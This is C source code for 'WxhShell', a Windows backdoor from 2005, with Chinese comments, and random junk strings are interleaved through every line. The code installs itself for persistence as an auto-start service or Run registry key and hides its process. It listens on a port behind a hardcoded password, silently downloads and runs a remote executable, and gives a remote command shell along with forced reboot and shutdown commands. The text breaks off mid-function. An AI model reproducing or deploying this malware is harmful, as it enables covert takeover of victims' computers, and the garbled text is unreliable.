157_0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \N>-+r NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wl
Oeoi tli.g if (!NtQueryInformationProcess) return 0; )ZJvx%@i &SY!qTxF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [I $+wWW_ if(!hProcess) return 0; C|(A/b nV;'UpQw if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RgE`H r U@lc1# CloseHandle(hProcess); NR{wq|" &1xCPKIr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xvr5$x|h if(hProcess==NULL) return 0; %`vzQt`> w2)Ro:G HMODULE hMod; ou|emAV char procName[255]; DX>a0-Xj unsigned long cbNeeded; L[` l80 s[1ao"sZ^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :$ 5A3i gg;r;3u CloseHandle(hProcess); E h%61/ 5jdZC(q5a if(strstr(procName,"services")) return 1; // 以服务启动 qtGJJ#^, nR!e( return 0; // 注册表启动 (
?V`|[+u } FqKJids- ;t`
?| // 主模块 EP;/[O int StartWxhshell(LPSTR lpCmdLine) !QUY ( { j=_rUc'Me SOCKET wsl; K~x,so BOOL val=TRUE; T5BZD
+Ta int port=0; G7-BeA8 struct sockaddr_in door; E_HB[9 Qy,^'fSN if(wscfg.ws_autoins) Install(); B~Q-V&@o f0Q6sV ZHa port=atoi(lpCmdLine); dj|5'<l2 ]|;+2@kDR if(port<=0) port=wscfg.ws_port; (}"D x3K ,w
}Po WSADATA data; 0P^h6Vat if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g(DD8;]w< <_tmkLeZf if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +>w]T\[1~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]6&NIz`:, door.sin_family = AF_INET; \>L,X_DL door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5/48w-fnZ door.sin_port = htons(port); q>q:ZV 0bNvmZ$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bm588UQ closesocket(wsl); +Qs]8*^?; return 1; LHAlXo; } :NzJvI< s>rR\` if(listen(wsl,2) == INVALID_SOCKET) { r;cDYg closesocket(wsl); L\yVE
J9x return 1; JuRoeq. } .{Y;6]9[ Wxhshell(wsl); LP3#f{U WSACleanup(); W3i<Unq
0+&WIs return 0; DksYKv NT6jwK.?)? } sbvP1|P8% (nqhX<T> // 以NT服务方式启动 jMT[+f VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r$<!?Z { &H_/`Z]Q DWORD status = 0; d%EdvM|) DWORD specificError = 0xfffffff; y)r`<B o*T?f)_[p serviceStatus.dwServiceType = SERVICE_WIN32; .M6. ]H serviceStatus.dwCurrentState = SERVICE_START_PENDING; GTs,?t16/ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M]8>5Zx. serviceStatus.dwWin32ExitCode = 0; AB=%yM7V* serviceStatus.dwServiceSpecificExitCode = 0; }#zL)+XI serviceStatus.dwCheckPoint = 0; WO>A55Xya serviceStatus.dwWaitHint = 0; RqROl!6 <h(AJX7wsD hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fWP]{z` if (hServiceStatusHandle==0) return; cfmwz~S6i f:j:L79} status = GetLastError(); yf{\^^ i( if (status!=NO_ERROR) Uahh|>s { _0[z
xOI serviceStatus.dwCurrentState = SERVICE_STOPPED; NK-}[!f serviceStatus.dwCheckPoint = 0; v9T3= serviceStatus.dwWaitHint = 0; hyxv+m[ serviceStatus.dwWin32ExitCode = status; \ZnA%hC serviceStatus.dwServiceSpecificExitCode = specificError; Jq1oQu|rs SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6@aH2+4+ return; CI+)0=`<1B } x.t<@y~ ;apLMMsWC serviceStatus.dwCurrentState = SERVICE_RUNNING; g.\b@0Uy' serviceStatus.dwCheckPoint = 0; AB
$N`+& serviceStatus.dwWaitHint = 0; (~@.9&cBD if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S1k*">< } ( w4XqVT m.P
F'_)/ // 处理NT服务事件,比如:启动、停止 ]n=z(2Z9lD VOID WINAPI NTServiceHandler(DWORD fdwControl) ?`TQ!m6y { o.$48h( switch(fdwControl) .p{lzI9 { eg~
Dm>Es case SERVICE_CONTROL_STOP: y0O(n/ serviceStatus.dwWin32ExitCode = 0; UAjN serviceStatus.dwCurrentState = SERVICE_STOPPED; Wv>`x?W serviceStatus.dwCheckPoint = 0; hGFi|9/-u serviceStatus.dwWaitHint = 0; <\*)YKjn/@ { {9J|\Zz3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); W3l[a^1d } d{TcjZ return; +@$VJM%^7b case SERVICE_CONTROL_PAUSE: l|842N@1 serviceStatus.dwCurrentState = SERVICE_PAUSED; Ov"wcJ break; ^uo,LTq+ case SERVICE_CONTROL_CONTINUE: padV|hF3(e serviceStatus.dwCurrentState = SERVICE_RUNNING; ]:ca=&> break; Fpo}UQQbc case SERVICE_CONTROL_INTERROGATE: oVqx)@$K break; ?Gf'G{^} }; hgZvti SetServiceStatus(hServiceStatusHandle, &serviceStatus); A?tCa*b^ } '+_-r'2 Z9mI%sC[( // 标准应用程序主函数 &tkPZ*}#1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QVn2`hr { `-nSH)GBM TrZ!E`~ // 获取操作系统版本 kW+>"3 OsIsNt=GetOsVer(); =Q"thsR GetModuleFileName(NULL,ExeFile,MAX_PATH); <S_0=U kFJ]F |^7 // 从命令行安装 7<kr|- if(strpbrk(lpCmdLine,"iI")) Install(); w2$ L;q 2C0j.Ib // 下载执行文件 2SC'Z>A if(wscfg.ws_downexe) { p;[.&oJ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H/f}tw WinExec(wscfg.ws_filenam,SW_HIDE); ,>g(%3C } PazWMmI :z?T/9,C if(!OsIsNt) {
zCq6k7u // 如果时win9x,隐藏进程并且设置为注册表启动 WKr4S<B8mr HideProc(); L9[m/(:y StartWxhshell(lpCmdLine); ^`-Hg= d } %jUZc:06 else E.'6p \ if(StartFromService()) 5Bcmz'?! // 以服务方式启动 X:FyNUa StartServiceCtrlDispatcher(DispatchTable); ;J?fK69% else ^=I[uX-3ue // 普通方式启动 r?`nc6$0| StartWxhshell(lpCmdLine); 7|Qb}[s v&sp;%I6= return 0; cLp9|y0r } WnQ'I=E#~ AzGbvBI&V rI)&.5^ hAi'|;g =========================================== fk#Ggp< 4P2p|Gc3 ),<h6$ "{{@N4^ PzjIM!> Ux,dj8=o " F&/}x15 TR?jT
U #include <stdio.h> B_r:da CS: #include <string.h> 4yu=e;C wy #include <windows.h> D-e^b'l #include <winsock2.h> 4!glgEE* #include <winsvc.h> z_C7=ga< #include <urlmon.h> Yk4ah$}%-^ xoSBMf #pragma comment (lib, "Ws2_32.lib") 6yaWxpW #pragma comment (lib, "urlmon.lib") p8y<:8I +'e3YF+' #define MAX_USER 100 // 最大客户端连接数
?s 0")R& #define BUF_SOCK 200 // sock buffer n[-d~ Ce2{ #define KEY_BUFF 255 // 输入 buffer B*Q.EKD8s a0FU[*q #define REBOOT 0 // 重启 i;)r|L`V? #define SHUTDOWN 1 // 关机 +c'I7bBr Mf:x9# #define DEF_PORT 5000 // 监听端口 F fzY3r+
^w
RD| #define REG_LEN 16 // 注册表键长度 P.|g4EdND #define SVC_LEN 80 // NT服务名长度 ~fA H6FdZ\ zpcm`z // 从dll定义API lVb;,C%K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z}O0DfT; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `O=LQ m` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M+Y^ A7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z*5]qh2r8 z:$TW{%M // wxhshell配置信息 P[cGCmM struct WSCFG { YAF0I%PYU int ws_port; // 监听端口 qr/N ?, char ws_passstr[REG_LEN]; // 口令 \AR3DDm int ws_autoins; // 安装标记, 1=yes 0=no 6dCqS char ws_regname[REG_LEN]; // 注册表键名 \?\q0o<V$ char ws_svcname[REG_LEN]; // 服务名 ffQ&1T< char ws_svcdisp[SVC_LEN]; // 服务显示名 HLt;1:b char ws_svcdesc[SVC_LEN]; // 服务描述信息 E }w<-]8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PI")^` int ws_downexe; // 下载执行标记, 1=yes 0=no 4gm(gY>[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l\-(li
H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |z%*}DPrpa w<4){.dA }; A7:W0Gg hmd, g>J:< // default Wxhshell configuration T\HP5& struct WSCFG wscfg={DEF_PORT, _nnl+S>K "xuhuanlingzhe", \RP=Gf 1, Neb%D8/Kn "Wxhshell", hta$k%2 "Wxhshell", +hvVoBCM* "WxhShell Service", [[u&=.Au "Wrsky Windows CmdShell Service", 8<ri"m, "Please Input Your Password: ", Ib4 8` 1, $VJ=A< "http://www.wrsky.com/wxhshell.exe", >^Z! "Wxhshell.exe" ph1veD<ZZ }; \E<)B# My'6yQL // 消息定义模块 4a~9?}V: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4B8{\"6 char *msg_ws_prompt="\n\r? for help\n\r#>"; pRdO4?l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &"svt2 char *msg_ws_ext="\n\rExit."; k4-C*Gx$h char *msg_ws_end="\n\rQuit."; )6mv7M{ char *msg_ws_boot="\n\rReboot..."; hMx/}Tw wt char *msg_ws_poff="\n\rShutdown..."; cYTX)]^u char *msg_ws_down="\n\rSave to "; j&?NE1D>I PFIL)D
|G char *msg_ws_err="\n\rErr!"; T%F8=kb-9 char *msg_ws_ok="\n\rOK!"; [! :.9 Hv>Hz*s_I char ExeFile[MAX_PATH]; BO ^T
: int nUser = 0; =l3*{ ?G HANDLE handles[MAX_USER]; 3' 6>zp int OsIsNt; #/1,Cv yj gasl%& SERVICE_STATUS serviceStatus; yz2NB?) SERVICE_STATUS_HANDLE hServiceStatusHandle; s.I=H^T :FdV$E]]< // 函数声明 *K\/5Fzl int Install(void); UkL'h&J~ int Uninstall(void); f-6E> int DownloadFile(char *sURL, SOCKET wsh); `}u~nu< int Boot(int flag); T3{qn$t8 void HideProc(void); jX{lo int GetOsVer(void); $wVY)p9Q int Wxhshell(SOCKET wsl); c>3W1" void TalkWithClient(void *cs); Wcn^IQ int CmdShell(SOCKET sock); D058=}^HE int StartFromService(void); B: uW(E
int StartWxhshell(LPSTR lpCmdLine); 'gE_xn7j G";yqG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EY!aiH6P VOID WINAPI NTServiceHandler( DWORD fdwControl ); r jL%M'; U07n7`2w // 数据结构和表定义 d=wzN3 ;- SERVICE_TABLE_ENTRY DispatchTable[] = aX1|&erI { #tBbvs+% {wscfg.ws_svcname, NTServiceMain}, F+AShh {NULL, NULL} y#Ch /Jg?| }; .x1EdfHed/ >UuLSF} // 自我安装 $0K9OF9$ int Install(void) I\DT(9
'E { rYq8OZLi char svExeFile[MAX_PATH]; 4Kt?; y
; HKEY key; '89D62\89 strcpy(svExeFile,ExeFile); Hj;j\R >2 w>rglm& // 如果是win9x系统,修改注册表设为自启动 f.'o4HSj if(!OsIsNt) { ./ib{ @A. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )mZ`j. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A0WQZt!FEN RegCloseKey(key); M>_S%V4a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t/S~CIA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fi#o>tVyJ RegCloseKey(key); 4(YKwY2_L return 0; poHDA=#
3 } '&T4ryq3" } lTdYPqMi } ">voi$Kzey else { oc-7gz) $K8ZxH1z@ // 如果是NT以上系统,安装为系统服务
OH*[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m.EWYO0XQ if (schSCManager!=0) m(Bv}9 { })bTQj7 SC_HANDLE schService = CreateService 0 x"3 ( K22W=B)Ln schSCManager, NCSb`SC: wscfg.ws_svcname, /tP"r}l wscfg.ws_svcdisp, !OWV* v2 SERVICE_ALL_ACCESS, 4y21v|(9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C`knFGb SERVICE_AUTO_START, CWI(Q`((> SERVICE_ERROR_NORMAL, P RX:*0 svExeFile, <6n(a)L1 NULL, C2eei're NULL, [>?B`1;@ NULL, |TEf? <"c NULL, \kWceu}H, NULL )Hlr 09t=] ); iAWPE`u4 if (schService!=0) &g@?{5FP { UwdcU^xt9 CloseServiceHandle(schService);
D[]vJ CloseServiceHandle(schSCManager); oOe5IczS( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {My/+{eS!? strcat(svExeFile,wscfg.ws_svcname); ~`mOs1 d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R4QXX7h! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }[l`R{d5q> RegCloseKey(key); xp>ra2A return 0; tM]qR+ } jr@<-. } 6]Ppa ~Xwq CloseServiceHandle(schSCManager); tq>QZEg } eyl+D sK } ga~rllm;i 0V`0=" rQ return 1; 't^OIil } A@du*5>( 3Xf}vdgdM$ // 自我卸载 (D{9~^EO>a int Uninstall(void) yHk/8 { )0RH"#,2L HKEY key; x8gUP zj`!ZY?fv if(!OsIsNt) { `N8A{8$qv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )>$xbo")k RegDeleteValue(key,wscfg.ws_regname); .#J'+LxFr RegCloseKey(key); ,T jd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !>;p^^e RegDeleteValue(key,wscfg.ws_regname); w]F (o RegCloseKey(key); $xlI"-( return 0; OZLU>LU } MBDu0
[c } %,-vmqr } 0j4bu}@ else { -5d8j<, d^WVWk K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zn>*^h0B if (schSCManager!=0) Ry[VEn>C1 { x@Z?DS$) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =f{V<i~q if (schService!=0) SAc}5. { m_Z%[@L if(DeleteService(schService)!=0) { oC.:mI CloseServiceHandle(schService); }N*6xr*X+ CloseServiceHandle(schSCManager); i@Q)`>4 return 0; 4wMKl6mL } +'hcFZn(T CloseServiceHandle(schService); p@NE^aMn } W9{6?,] CloseServiceHandle(schSCManager); 44mYs`] } L&Bc-kMH } TpuN[Y @B*?owba> return 1; \BbemCPAm } "f(iQI z';p275 // 从指定url下载文件 r^VH [c@c int DownloadFile(char *sURL, SOCKET wsh) hf8=r5j= { eB<R@a|?S HRESULT hr; /) MzF6 char seps[]= "/"; G;qC&7T char *token; @q],pD char *file; *" >ek k char myURL[MAX_PATH]; kdITh9nx<r char myFILE[MAX_PATH]; S;MS,R d9sl(;r strcpy(myURL,sURL); iAbtv^fn token=strtok(myURL,seps); mz3!HksZ" while(token!=NULL) 6#K1LY5 } { {SbA(a?B file=token; y 7|x<Z token=strtok(NULL,seps); h$G&4_O } 9L]x9lI; 2W~,,$
G GetCurrentDirectory(MAX_PATH,myFILE); tB'F`HM:mq strcat(myFILE, "\\"); \NDSpT<Z strcat(myFILE, file); $j)Er.!9|R send(wsh,myFILE,strlen(myFILE),0); %f#3;tpC8 send(wsh,"...",3,0); a7)q^;:O hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kNMhMEez if(hr==S_OK) Se%FqI return 0; j^"Z^TEBT else +D* b!5[ return 1; @]Aul9.h ;KWR/?ec } #&\^{Z Gc<J x|Q7 // 系统电源模块 5<<e_n.2q int Boot(int flag) `
Cdk
b5 { CY?]o4IV HANDLE hToken; [kMXr'TyPX TOKEN_PRIVILEGES tkp; c1'OIK C <:W]u T if(OsIsNt) { WhMr'l/e OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #^"\WG7{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yrs![ u tkp.PrivilegeCount = 1; #'mb9GWD3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KxqT5`P& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !O-q13\Y if(flag==REBOOT) { Ultx|qU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z%Op_Ddp return 0; <=/v%VXPm } Ny/bNQS else { G0^WQQ4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u 3wF)B{ return 0; EtWpB g } fJtJ2x i } }"06'
else { ZsirX~W< if(flag==REBOOT) { :=UiEDN@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1c(1 YGuH return 0; +M/04 } ]0GOSh else { :CV!:sUm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T?I&n[Y| return 0; 36s[hg } pv~XZ(J.1 } U
SXz hY7Q$B< return 1; LS{g=3P0 } zU:zzT}|TZ {6!Mf+Xq // win9x进程隐藏模块 yb2*K+Kv void HideProc(void) 9t(B{S { ]F r+cP iNZ'qMH22 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @tdX=\[~ if ( hKernel != NULL ) g^26Gb. { ?D/r1%Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D9B?9Qt2[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L}ud+Wfox FreeLibrary(hKernel); p#HPWW" } c=<d99Cu! C"PN3>x}j return; hun
LV8z } a5{CkM&,( #m1e_[ // 获取操作系统版本 UB@>i3 int GetOsVer(void) Jvw~b\ { %L+/GtxK OSVERSIONINFO winfo; S3PW [R@= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F=kD/GCB GetVersionEx(&winfo); v)N8vFdd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S ])YU?e return 1; .J#xlOa- else AMA:hQ return 0; 1!/cd;{B } ;LELC5[*s ={ c=8G8T // 客户端句柄模块 XL_X0(AKf int Wxhshell(SOCKET wsl) A0# K@ { WM}:%T- SOCKET wsh; )zlksF struct sockaddr_in client; -iGt]mbJkP DWORD myID; M6vW}APH[n j )Zi4<./ while(nUser<MAX_USER) i >Hh_q;' { O?p.kf{b int nSize=sizeof(client); Mc oHV]x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p+@Wh3 if(wsh==INVALID_SOCKET) return 1; 2f] :n 4NUCLr7Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e2*0NT^R if(handles[nUser]==0) ptQr8[FA closesocket(wsh); 1 h|cr_ else E)o/C(g nUser++; HuBG?4Qd } &NZN_% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r+3V+:f FjRJSMwO, return 0; *Af]?-|^{# } :T"!6; T/p}Us // 关闭 socket Wz nz void CloseIt(SOCKET wsh) )TJz'J\* { a8rsF closesocket(wsh); Qzw~\KY: nUser--; 1*S It5?4 ExitThread(0); zLc.4k } 9~I\WjB
" N{46DS // 客户端请求句柄 RQWVjF# void TalkWithClient(void *cs) L7_(KC h { kV!0cLH!hH I:U /%cr, SOCKET wsh=(SOCKET)cs; J:dF^3Y char pwd[SVC_LEN]; MB"uJUk char cmd[KEY_BUFF]; Q~G+YjM3 char chr[1]; ^+oi|y int i,j; 25BW/23}e SJoQaR,)> while (nUser < MAX_USER) { {/uBZ( %eGxQDIXg if(wscfg.ws_passstr) { sqi~j(&\1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t1b$,jHmKl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C$){H"# //ZeroMemory(pwd,KEY_BUFF); Wg[?i C*~ i=0; >"jV8%!sM while(i<SVC_LEN) { nM x0+N1 il<D e]G // 设置超时 k(C?6Gfj fd_set FdRead; wYSvI struct timeval TimeOut; z@>z.d4 FD_ZERO(&FdRead); X_C9Z FD_SET(wsh,&FdRead); oo)P(_"u TimeOut.tv_sec=8; MG>g?s'! TimeOut.tv_usec=0; VH4P|w[YF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1iS9f~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xx[
LK Jc~^32 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WGN[`D" pwd=chr[0]; )wP0U{7?v if(chr[0]==0xd || chr[0]==0xa) { GsqR8n= pwd=0; cE 8vSQ% break; t!c8c^HR } ,r{*o6 i++; B7nMyoj
} ioi0^aM %=/Y~ml? // 如果是非法用户,关闭 socket _Ta9rDSP] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +1Si>I } w4'(Y,(` *0{MAm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
~ i1w,;( send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q&(?D %83PbH while(1) { }E]`ly<Z `PSr64h:D ZeroMemory(cmd,KEY_BUFF); |4-c/@D.~ t"2WJ-1k} // 自动支持客户端 telnet标准 _E)xR j=0; }CsUZ&* & while(j<KEY_BUFF) { ^wb -s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); / Zz2=gDY cmd[j]=chr[0]; lcJ`OLG if(chr[0]==0xa || chr[0]==0xd) {
.}ohnnJB0 cmd[j]=0; fB1JU1 break; s.1(- "DU } o80pmy7@ j++; 1k2Ck } ?Y
)Qy, )7q;Fm_/ // 下载文件 PHDKx+$ if(strstr(cmd,"http://")) { (z2)<_bXJ send(wsh,msg_ws_down,strlen(msg_ws_down),0); s?~Abj_ if(DownloadFile(cmd,wsh)) ?-#w [J'6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); |1g2\5Re else Xe=@I* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s]L`&fY]O } Rr%]/% else { F`Q,pBl1p6 cB.v&BSW switch(cmd[0]) { wjS3ItB Mk@ _uPm // 帮助 zG [-n. case '?': { &JfyXM[] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k B2+ Tr break; T%P0M* } J4`08, // 安装 gjo\gP@ case 'i': { He#+zE; if(Install()) E'MMhlo send(wsh,msg_ws_err,strlen(msg_ws_err),0); $23="Jcl else T]CvfvO5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kwh3SU=L} break; }[ AIE[ } @q^WD_k // 卸载 ),M8W15 case 'r': { c?q#?K
aF if(Uninstall()) ?)]sfJG send(wsh,msg_ws_err,strlen(msg_ws_err),0); =i:?4pIZ else Em4TEv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (B$2)yZY break; 4+v~{ }
U,Z(h // 显示 wxhshell 所在路径 _9L2JN$R6 case 'p': { HO' ELiZ_q char svExeFile[MAX_PATH]; 7F+f6(hB strcpy(svExeFile,"\n\r"); .Z/"L@ strcat(svExeFile,ExeFile); w'L;`k;Q send(wsh,svExeFile,strlen(svExeFile),0); $Q47>/CUc^ break; 7RdL/21K } uidE/7 // 重启 Q8\Ks|u] case 'b': { }O
o send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4{fi=BA if(Boot(REBOOT)) ,
/ 4}CM send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Xg#x: else { o<C~67o_ closesocket(wsh); oO= 6Kd+T ExitThread(0); ss,6;wfX } 61gZZM break; i ;X'1TN(y } &,e@pv c3 // 关机 [0J0<JnK case 'd': { 56TUh_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0'L+9T5 if(Boot(SHUTDOWN)) H 5sj%
v send(wsh,msg_ws_err,strlen(msg_ws_err),0); @x{;a 9y else { NEJ
Nu_Z closesocket(wsh); W}T+8+RU ExitThread(0); 2Db[dk( ] } T}4RlIZF break; I.(/j } 1lMU('r% // 获取shell '9^x"U9c case 's': { x>Q#Bvy CmdShell(wsh); r--"JO%2 closesocket(wsh); \&W~nYXq" ExitThread(0); RJd55+h break; F;MFw2G } S{
*RF) // 退出 iCw~4KG case 'x': { _jnH!Mw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zeR!Y yt! CloseIt(wsh); w/Q'T&>b/ break; gy* N)iv% } (( t8 // 离开 t@!oc"z}@ case 'q': { HYpB]<F send(wsh,msg_ws_end,strlen(msg_ws_end),0); z?E:s.4F closesocket(wsh); UHR)]5Lt WSACleanup(); v)X1R/z5xw exit(1); ~Jq<FVK break; .O lq_wuH } >eJk)qM } b`%/* } f#mY44:,C 2;6p2GNSh // 提示信息 "CLd_H*)c if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h^[K= J } Zx`hutCv } <\yM{
V\ bh_i*DJ] return; (^057 } *a+~bX)18 )7J@A%u // shell模块句柄 zXMIDrq int CmdShell(SOCKET sock) xJZbax[ { x~Pv STARTUPINFO si; ^WM)UZEBC ZeroMemory(&si,sizeof(si)); %] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8tPq5i si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q=w\)qJ PROCESS_INFORMATION ProcessInfo; x{& |